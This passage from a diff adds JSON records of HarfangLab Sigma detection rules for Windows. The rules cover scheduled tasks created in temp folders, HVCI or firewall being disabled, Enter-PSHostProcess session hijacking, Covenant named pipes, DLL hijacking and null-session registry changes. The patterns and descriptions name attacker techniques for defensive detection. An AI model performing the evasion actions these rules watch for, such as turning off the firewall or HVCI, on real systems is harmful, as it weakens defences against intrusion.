'?:\\Program Files (x86)\\Acer\\Acer Jumpstart\\hermes.exe'\n            - '?:\\ProgramData\\OEM\\UpgradeTool\\Quick_Access_V_3_0\\UpgradeToolC.exe'\n            - '?:\\ProgramData\\OEM\\UpgradeTool\\CareCenter_v4\\UpgradeToolC.exe'\n            - '?:\\ProgramData\\OEM\\UpgradeTool\\CareCenter_v4\\\\*FixpackB\\BUnzip\\Setup_msi.exe'\n\n    exclusion_heidisql:\n        CommandLine: '?:\\Windows\\System32\\schtasks.exe /Create /TN C__*_HeidiSQL_heidisql.exe /xml *\\AppData\\Local\\Temp\\HeidiSQL_task_restart.xml'\n\n    exclusion_avira:\n        ParentImage: '*\\AppData\\Local\\Temp\\\\*\\avira_spotlight_setup_*.tmp'\n        CommandLine|contains:\n            - 'schtasks.exe /Create /F /TN Avira_Security_Systray /XML '\n            - 'schtasks.exe /Create /F /TN Avira_Security_Maintenance /XML '\n\n    exclusion_git:\n        CommandLine: 'schtasks /Create /F /TN Git for Windows Updater /XML *\\AppData\\Local\\Temp\\\\*\\auto-updater.xml'\n        ParentImage:\n            - '*\\AppData\\Local\\Temp\\\\*\\gfw-install-*.tmp'\n            - '?:\\Windows\\Temp\\\\*\\git-*.tmp'\n\n    condition: all of selection_* and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate use of a scheduled task in the user temporary directory by an administrator or 3rd party application.\nlevel: low\n# level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76107997-084f-46ed-aae8-41ca44b17c7c",
+  "rule_name": "Scheduled Task Created in Temporary Directory",
+  "rule_description": "Detects a scheduled task created from a temporary directory.\nAdversaries may abuse the Windows Task Scheduler for persistence or privilege escalation.\nIt is recommended to investigate the parent process of schtasks to look for malicious content or actions, as well as the target the scheduled task to determine whether it is legitimate.\n",
+  "rule_creation_date": "2021-02-08",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "762a46ad-3553-4544-ba6e-8b0d13b449c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621430Z",
+  "creation_date": "2026-03-23T11:45:34.621432Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621436Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/",
+    "https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_hvci.yml",
+  "content": "title: HVCI Driver Blocking Disabled\nid: 762a46ad-3553-4544-ba6e-8b0d13b449c3\ndescription: |\n    Detects the HVCI (Hypervisor Enforced Code Integrity) being disabled via registry.\n    HVCI is a Windows mechanism that allows blocking of known vulnerable or malicious drivers.\n    Once HVCI is disabled, the attacker can proceed to a BYOVD (Bring Your Own Vulnerable Driver) attack.\n    It is recommended to investigate the detected process, as well as to look for malicious drivers being loaded after this event.\nreferences:\n    - https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/\n    - https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/06/15\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "762a46ad-3553-4544-ba6e-8b0d13b449c3",
+  "rule_name": "HVCI Driver Blocking Disabled",
+  "rule_description": "Detects the HVCI (Hypervisor Enforced Code Integrity) being disabled via registry.\nHVCI is a Windows mechanism that allows blocking of known vulnerable or malicious drivers.\nOnce HVCI is disabled, the attacker can proceed to a BYOVD (Bring Your Own Vulnerable Driver) attack.\nIt is recommended to investigate the detected process, as well as to look for malicious drivers being loaded after this event.\n",
+  "rule_creation_date": "2023-06-15",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7632dbf3-3ad5-4d8a-9ba4-e6a6b78c80fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084692Z",
+  "creation_date": "2026-03-23T11:45:34.084694Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084698Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/staatsgeheim/status/1868032068892184639",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_enter_pshostsession.yml",
+  "content": "title: PowerShell Session Hijacked via Enter-PSHostProcess\nid: 7632dbf3-3ad5-4d8a-9ba4-e6a6b78c80fa\ndescription: |\n    Detects the execution of the Enter-PSHostProcess cmdlet that allows PowerShell commands to run within the context of a specific process.\n    Enter-PSHostProcess is a PowerShell cmdlet that enables administrators to attach to and execute commands within running processes.\n    Attackers can abuse this functionality to hijack legitimate processes, execute malicious code with elevated privileges, or blend their activities with normal system processes to evade detection.\n    It is recommended to investigate the target process that was accessed, review any PowerShell commands executed within that process context and verify the legitimacy of the user account that initiated the session.\nreferences:\n    - https://x.com/staatsgeheim/status/1868032068892184639\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/12/17\nmodified: 2025/06/18\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        ScriptBlockText|contains: 'Enter-PSHostProcess'\n\n    exclusion_program_files:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7632dbf3-3ad5-4d8a-9ba4-e6a6b78c80fa",
+  "rule_name": "PowerShell Session Hijacked via Enter-PSHostProcess",
+  "rule_description": "Detects the execution of the Enter-PSHostProcess cmdlet that allows PowerShell commands to run within the context of a specific process.\nEnter-PSHostProcess is a PowerShell cmdlet that enables administrators to attach to and execute commands within running processes.\nAttackers can abuse this functionality to hijack legitimate processes, execute malicious code with elevated privileges, or blend their activities with normal system processes to evade detection.\nIt is recommended to investigate the target process that was accessed, review any PowerShell commands executed within that process context and verify the legitimacy of the user account that initiated the session.\n",
+  "rule_creation_date": "2024-12-17",
+  "rule_modified_date": "2025-06-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "764f5854-46df-4319-bb1f-77f39a4207ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080323Z",
+  "creation_date": "2026-03-23T11:45:34.080325Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080329Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/",
+    "https://attack.mitre.org/techniques/T1562/004/"
+  ],
+  "name": "t1562_004_powershell_disable_firewall_script.yml",
+  "content": "title: Windows Firewall Disabled via PowerShell\nid: 764f5854-46df-4319-bb1f-77f39a4207ad\ndescription: |\n    Detects a PowerShell commandlet used to disable the Windows firewall.\n    Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\n    It is recommended to investigate the parent process to determine the legitimacy of this action.\nreferences:\n    - https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/\n    - https://attack.mitre.org/techniques/T1562/004/\ndate: 2022/05/04\nmodified: 2025/11/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'Set-NetFirewallProfile'\n            - '-Profile'\n            - '-Enabled'\n            - 'False'\n\n    exclusion_defender:\n        - PowershellCommand|contains: 'return (Get-Item \"Function:\\Set-NetFirewallProfile\")'\n        - PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\Firewall.psm1'\n        - ProcessCommandLine|contains: 'Get-FileHash ??:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\AntiVirus.psm1? -Algorithm SHA256;'\n\n    exclusion_cyberwatch:\n        ProcessParentImage: '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n\n    exclusion_cockpit:\n        ProcessImage: '?:\\Program Files (x86)\\Philips Healthcare\\Cockpit\\SysCheck.UI.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '?:\\Windows\\CCM\\TSMBootstrap.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "764f5854-46df-4319-bb1f-77f39a4207ad",
+  "rule_name": "Windows Firewall Disabled via PowerShell",
+  "rule_description": "Detects a PowerShell commandlet used to disable the Windows firewall.\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\nIt is recommended to investigate the parent process to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-05-04",
+  "rule_modified_date": "2025-11-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76529836-bb7a-4a8e-8d1e-611c2d932858",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072443Z",
+  "creation_date": "2026-03-23T11:45:34.072445Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072449Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_default_covenant_named_pipes_connection.yml",
+  "content": "title: Default Covenant Named Pipe Connected\nid: 76529836-bb7a-4a8e-8d1e-611c2d932858\ndescription: |\n    Detects the connection to a named pipe pertaining to Covenant.\n    Covenant uses Named Pipes mainly to self-replicate using SMB.\n    It is recommended to analyze the process responsible for the named pipe creation to determine its legitimacy and to look for subsequent malicious actions executed on the host.\nreferences:\n    - https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2025/04/10\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.Covenant\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        # Endswith here allows us to match pipes that are prefixed\n        # with hosts\n        PipeName|endswith: '\\gruntsvc'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76529836-bb7a-4a8e-8d1e-611c2d932858",
+  "rule_name": "Default Covenant Named Pipe Connected",
+  "rule_description": "Detects the connection to a named pipe pertaining to Covenant.\nCovenant uses Named Pipes mainly to self-replicate using SMB.\nIt is recommended to analyze the process responsible for the named pipe creation to determine its legitimacy and to look for subsequent malicious actions executed on the host.\n",
+  "rule_creation_date": "2025-04-10",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76548890-65e4-488f-b856-88484015c9ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618769Z",
+  "creation_date": "2026-03-23T11:45:34.618771Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618775Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rpcping.yml",
+  "content": "title: DLL Hijacking via rpcping.exe\nid: 76548890-65e4-488f-b856-88484015c9ed\ndescription: |\n    Detects potential Windows DLL Hijacking via rpcping.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rpcping.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\mswsock.dll'\n            - '\\SspiCli.dll'\n            - '\\WINHTTP.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76548890-65e4-488f-b856-88484015c9ed",
+  "rule_name": "DLL Hijacking via rpcping.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rpcping.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76696bce-2f0c-4731-80e0-443f0830a20f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622866Z",
+  "creation_date": "2026-03-23T11:45:34.622868Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622888Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blumira.com/integration/how-to-disable-null-session-in-windows/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1087_001_restrictanonymoussam_key_in_registry.yml",
+  "content": "title: Account Enumeration Security Lowered in Registry\nid: 76696bce-2f0c-4731-80e0-443f0830a20f\ndescription: |\n    Detects the modification of the Lsa Registry configuration allowing for Null Sessions to enumerate all usernames.\n    This information can help adversaries determine which accounts exist to aid in follow-on behavior.\n    It is recommended to analyze the process that modified the rigistry to look for malicious behavior or content.\nreferences:\n    - https://www.blumira.com/integration/how-to-disable-null-session-in-windows/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2022/11/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1562\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\RestrictAnonymousSAM'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76696bce-2f0c-4731-80e0-443f0830a20f",
+  "rule_name": "Account Enumeration Security Lowered in Registry",
+  "rule_description": "Detects the modification of the Lsa Registry configuration allowing for Null Sessions to enumerate all usernames.\nThis information can help adversaries determine which accounts exist to aid in follow-on behavior.\nIt is recommended to analyze the process that modified the rigistry to look for malicious behavior or content.\n",
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.001",
+    "attack.t1112",
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76938512-d1f1-49db-bcab-466da8afd029",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098769Z",
+  "creation_date": "2026-03-23T11:45:34.098771Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098775Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims",
+    "https://www.contextis.com/en/blog/dll-search-order-hijacking",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mastervpn.yml",
+  "content": "title: DLL Hijacking via VPNMaster software\nid: 76938512-d1f1-49db-bcab-466da8afd029\ndescription: |\n    Detects potential Windows DLL Hijacking via VPNMaster software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims\n    - https://www.contextis.com/en/blog/dll-search-order-hijacking\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'master_vpn-service.exe'\n        ProcessSignature: 'INNOVATIVE CONNECTING PTE. LIMITED'\n        ImageLoaded|endswith: 